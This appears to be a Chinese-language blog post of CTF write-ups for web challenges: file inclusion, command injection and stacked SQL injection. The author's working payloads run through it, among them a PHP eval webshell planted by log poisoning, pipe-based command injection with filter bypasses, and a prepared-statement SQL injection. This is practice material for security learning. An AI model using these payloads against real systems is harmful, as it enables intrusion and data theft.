[ACTF2020 新生賽]Include
開啟題目,是一個超連結,點選後,發現URL發生了變化
可以看出是檔案包含,包含了一個flag.php的檔案
我們試著訪問/etc/passwd
我又試了試偽協議,顯然是被過濾了
然後我們就訪問了一下nginx的日誌,訪問成功
?file=/var/log/nginx/access.log
那我們就是UA頭寫馬吧
<?php @eval($_POST['cmd']);?>
然後我們就用那個nginx日誌的那個URL,然後連線密碼為cmd,去用蟻劍連線一下
連線成功後,在根目錄找到flag,然後得出結論我是傻逼
後來我又看了一下檔案
原來偽協議,還可以用,我們應該用偽協議去看那個flag.php的原始碼
就用php://filter
?file=php://filter/read=convert.base64-encode/resource=flag.php
就得到原始碼被base64加密後的資料,我們解密一下
終於拿到flag了,我真要哭了
[ACTF2020 新生賽]Exec
這道題熟悉的ping,我們就複習一下命令連線符就行了
Windows和Linux都支援的命令連線符:
cmd1 | cmd2 只執行cmd2
cmd1 || cmd2 只有當cmd1執行失敗後,cmd2才被執行
cmd1 & cmd2 先執行cmd1,不管是否成功,都會執行cmd2
cmd1 && cmd2 先執行cmd1,cmd1執行成功後才執行cmd2,否則不執行cmd2
Linux還支援分號(;),cmd1;cmd2 按順序依次執行,先執行cmd1再執行cmd2
那我們就無需多言,直接戰鬥
127.0.0.1 | whoami
直接拿下flag
127.0.0.1 | cat /flag
[GXYCTF2019]Ping Ping Ping
參考:
命令執行漏洞各種繞過方式_命令執行漏洞 變種 繞過-CSDN部落格
命令執行RCE及其繞過詳細總結(各情景下的繞過)_rce反彈shell繞過-CSDN部落格
這道題還是PING,只不過是GET方式傳參
我直接滿心歡喜準備拿下
?ip=127.0.0.1 | ls
他顯然過濾了空格,氣的暴罵我
那我們就繞過空格,我就不用空格了
?ip=127.0.0.1|ls
直接索要flag,這裡我發現了哈,有一些符號他也過濾了,比如小數點,單引號,雙引號,括號,大括號啥的
但是能用的就是
$ - ~ \ `
他直接大罵fxxk
因為反引號可以用,而且ls已經看到了flag.php
payload
?ip=127.0.0.1|cat$IFS`ls`
然後只能回顯index.php的內容,不要懷疑自己,直接看原始碼
[SUCTF 2019]EasySQL
參考
[BUUCTF:SUCTF 2019]EasySQL-CSDN部落格
[buuctf-SUCTF 2019]EasySQL 1(小宇特詳解)-CSDN部落格
這個題目就是我挺雲裡霧裡的(我太菜了),挺多字元都被過濾之後,看到分號,然後就是嘗試堆疊注入
查庫名
1; show databases;
查表名
1;use ctf;show tables;
查列名
1;show columns from Flag;
然後發現查不到
然後大佬們說語句就長這樣(我還是不太理解),可以看一下大佬們的分析
$sql = "select ".$post['query']."||flag from Flag";
然後payload就是
*,1
[強網杯 2019]隨便注
參考:
[強網杯 2019]隨便注 - chalan630 - 部落格園 (cnblogs.com)
我們先判斷這個數字還是字元
?inject=1' and '1'='1 正常回顯
?inject=1' and '1'='2 錯誤回顯
判斷出是字元注入,然後是單引號閉合
?inject=1' order by 2--+
?inject=1' order by 3--+
判斷出是兩個欄位
然後繼續的時候,發現過濾了一些函式
這邊我試了一下,註釋符繞不過去的,所以這裡我想到了堆疊注入,就是上一題學的
查庫名:
?inject=1';show database;#
查表名
?inject=1';show tables;#
查列名
?inject=1';show columns from words;#
?inject=1%27;show%20columns%20from%20`1919810931114514`;#
注意資料表為數字的時候需要用反引號括起來
flag在這個數字這個表
這道題到這裡,我就完全不會了,一點兒都不知道怎麼給flag這個查詢出來
最後的flag的payload為:
-1';
sEt @sql=CONCAT('se','lect * from `1919810931114514`;');
prEpare stmt from @sql;
execute stmt;